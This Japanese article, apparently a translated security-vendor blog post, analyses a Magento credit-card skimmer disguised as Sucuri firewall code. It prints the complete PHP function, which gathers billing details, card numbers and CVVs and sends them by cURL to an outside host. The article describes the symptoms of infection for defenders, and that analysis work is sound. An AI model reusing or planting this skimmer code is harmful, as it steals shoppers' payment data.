ネットワークセキュリティー
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティー

Sucuri になりすましたクレジット カード スキマー、Magento ストアが標的にされ、CC データが盗まれる

COVID-19 のロックダウン措置と、差し迫った BFCM とクリスマスの割引セールが世界中で行われていることから、オンライン ショッピングは今年も急増し続けており、それに伴い、デジタル クレジット カード スキマー攻撃が発生しています。

Telegram マルウェア キャンペーンに関する最近のレポートに続いて、Astra Security のセキュリティ研究者は、セキュリティ会社「Sucuri」になりすまして、感染した e コマース ストアから顧客の機密情報を盗む、進行中の別のクレジット カード スキミング マルウェア キャンペーンを発見しました。ただし、Magento ストアを標的とするこのマルウェアを追跡してきましたが、Prestashop、OpenCart、WooCommerce などの他の CMS でもマルウェアの痕跡がいくつか発見されています。

デジタル クレジット カード スキミング攻撃とは?

デジタル クレジット カード スキミング攻撃は、Web ベースのスキミング攻撃であり、ハッカーが Web サイトや e コマース ストアに悪意のある JavaScript コードを挿入してマルウェアに感染させ、最終的には Web サイトの訪問者/顧客から資格情報と機密の支払い情報を盗みます。これらのデジタル スキマーの悪意のあるコードは、ほとんどの場合、サイトの支払いチェックアウト ページにあるユーザー入力フォームに埋め込まれ、ユーザー入力を傍受したり、偽の支払いフォームで iframe を作成して顧客のクレジット カード情報を盗んだりします。

デジタル スキミングは、ブリティッシュ エアウェイズ、メイシーズ、フォーブス、NewEgg、Ticketmaster などの有名ブランドを含む、これまでに数十万の Web サイトに影響を与えてきました。

Magento クレジット カード スキミング マルウェアの症状

<オール>
  • ストアでクレジット カードを使用した後、身元不明の取引について顧客から苦情が寄せられています。
  • ストアの支払いゲートウェイのセキュリティについて警告する、支払いプロバイダー/銀行からのメール
  • 身元不明のストアに追加された追加の支払い方法。
  • 「Sucuri」という用語を含むコードがウェブサイトに追加されていますが、その名前の製品は使用していません
  • ハッカーがどのように店舗を標的にし、Sucuri ファイアウォールになりすましてユーザーをだまして支払い情報を提供させるか

    このマルウェア キャンペーンの分析中に、当社の調査チームは、ハッカーが積極的にこのクレジット カード スキミング マルウェアを e コマース Web サイト (主に Magneto ストア) に仕掛け、サイトの訪問者や購入者をだましてチェックアウト時に機密情報を入力させていることを発見しました。悪意のあるクレジット カード スキマー コードは、このファイルの場所にあります /app/code/core/Mage/Payment/Model/Method/Cc.php

    ここで、攻撃者は関数 $this->sucuri_encrypted(); を追加しています これにより、チェックアウトプロセス中にユーザーが入力したデータを盗み出すことができます。そして、盗み出されたデータは https://www.thebrandstore.gr/js/i.php に送信されています

    盗まれたデータには、姓、名、住所、電話番号、クレジット カードの詳細など、顧客の機密情報が含まれています。

    以下は、攻撃者が使用したこのマルウェア キャンペーンで使用されたコード サンプルです。

    function sucuri_encrypted()
     {
     $info = $this->getInfoInstance();
     $object = new Mage_Checkout_Block_Onepage_Billing;
     $address1 = $object->getQuote()->getBillingAddress();
     $data1 = $address1->getFirstname();
     $data2 = $address1->getLastname();
     $data3 = $address1->getStreet(1);
     $data4 = $address1->getStreet(2);
     $data5 = $address1->getCity();
     $data6 = $address1->getRegion();
     $data7 = $address1->getPostcode();
     $data8 = $address1->getCountry();
     $data9 = $address1->getTelephone();
     $data10 = $info->getCcNumber();
     $expyear = substr($info->getCcExpYear(), -2);
     $expmonth = $info->getCcExpMonth();
     if (strlen($expmonth) == 1) {
     $expmonth = '0'.$expmonth;
     };
     $data11 = $expmonth;
     $data12 = $expyear;
     $data13 = $info->getCcCid();
     $data15 = $_SERVER['SERVER_NAME'];
     $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
    //create array of data to be secured
    $sucuri_firewall['firstname'] = base64_encode($data1);
    $sucuri_firewall['lastname'] = base64_encode($data2);
    $sucuri_firewall['address'] = base64_encode($data3);
    $sucuri_firewall['address2'] = base64_encode($data4);
    $sucuri_firewall['city'] = base64_encode($data5);
    $sucuri_firewall['state'] = base64_encode($data6);
    $sucuri_firewall['zip'] = base64_encode($data7);
    $sucuri_firewall['country'] = base64_encode($data8);
    $sucuri_firewall['phone'] = base64_encode($data9);
    $sucuri_firewall['cc'] = base64_encode($data10);
    $sucuri_firewall['exp'] = base64_encode($data11);
    $sucuri_firewall['expyear'] = base64_encode($data12);
    $sucuri_firewall['cvv'] = base64_encode($data13);
    $sucuri_firewall['email'] = base64_encode($data16);
    $sucuri_firewall['dari'] = base64_encode($data15);
    $sucuri_firewall['submit'] = 'Submit';
    //traverse array and prepare data for posting (key1=value1)
    foreach ( $sucuri_firewall as $key => $value) {
     $post_items[] = $key . '=' . $value;
    }
    //create the final string to be posted using implode()
    $post_string = implode ('&', $post_items);
    //create cURL connection
    $curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php');
    //set options
    curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
    curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
    //set data to be posted
    curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
    //perform our request
    $result = curl_exec($curl_connection);
    curl_close($curl_connection);
    }
    }
    }.

    上記のコードからわかるように、クレジット カード情報スティーラーは $this->sucuri_encrypted() という名前の関数を追加します。; 偽装された Sucuri ファイアウォール コードが表示されます。

    このマルウェアから e コマース ストアを保護する方法

    このマルウェアに感染した電子商取引の Web サイトまたはストアは、顧客の機密情報がここで盗まれ、正当な注文が行われなかったり、支払いが行われなかったりするため、収益と顧客の信頼が大幅に失われる可能性があります。そのため、サイトの所有者は、この種のクレジット カード スキマーやその他のマルウェア キャンペーンからサイトと顧客データを保護するために、事前のセキュリティ対策を実装することをお勧めします。

    Astra Security のアプリケーション ファイアウォールを使用している場合、e コマース ストアは、この攻撃やその他のサイバー攻撃、SQLi、XSS、CSRF、LFI、RFI、クレジット カード ハッキング、スパム、悪意のあるボットなどの脆弱性から既に保護されています。さらに、セキュリティの専門家は、Web サイトの安全性を確保するための主要なセキュリティ対策として、定期的なマルウェア スキャンを長い間推奨してきました。Web サイトを常に保護するための適切なセキュリティ対策を講じる時期です。


    1. クレジット カード詐欺とは何か?また、それを防ぐ方法は?

      「あなたの詳細を安全な Vault に保存することで、クレジット カードを詐欺師から守り、クレジット カード詐欺を防ぎます。」 私たちのほとんどは、キャッシュレス決済の便利さを楽しんでいます。現金を持ち歩いたり、小切手を書いたりする心配を減らします。しかし、クレジットカードやデビットカードをオンラインで使用することに伴うリスクについて知っている人は、ごくわずかです。そのため、人口の 4 分の 1 がクレジット カード詐欺の餌食になっています。では、クレジット カード詐欺や個人情報の盗難から身を守るには、どうすればよいでしょうか? プラスチックマネーの使用をやめるべきですか?答えはノーで

    2. もう 1 つのデータ プライバシー スキャンダル:私たちはより慎重になっているのではないでしょうか?

      データ侵害のもう 1 つの失敗と、何だと思いますか? Facebook と Twitter のユーザーは大きな影響を受けています。これらすべてのデータ スキャンダルの後、私たちはより慎重になっているのでしょうか、それとも企業はこれらの継続的な侵害を真剣に受け止めていないのでしょうか? 昨日、Facebook と Twitter は、何百人ものユーザーが自分のアカウントを使用して特定のサードパーティ アプリにログインした後、その個人データが不正にアクセスされた可能性があると発表しました。彼らが話している特定のアプリには、Giant Square と Photofy が含まれます。不適切にアク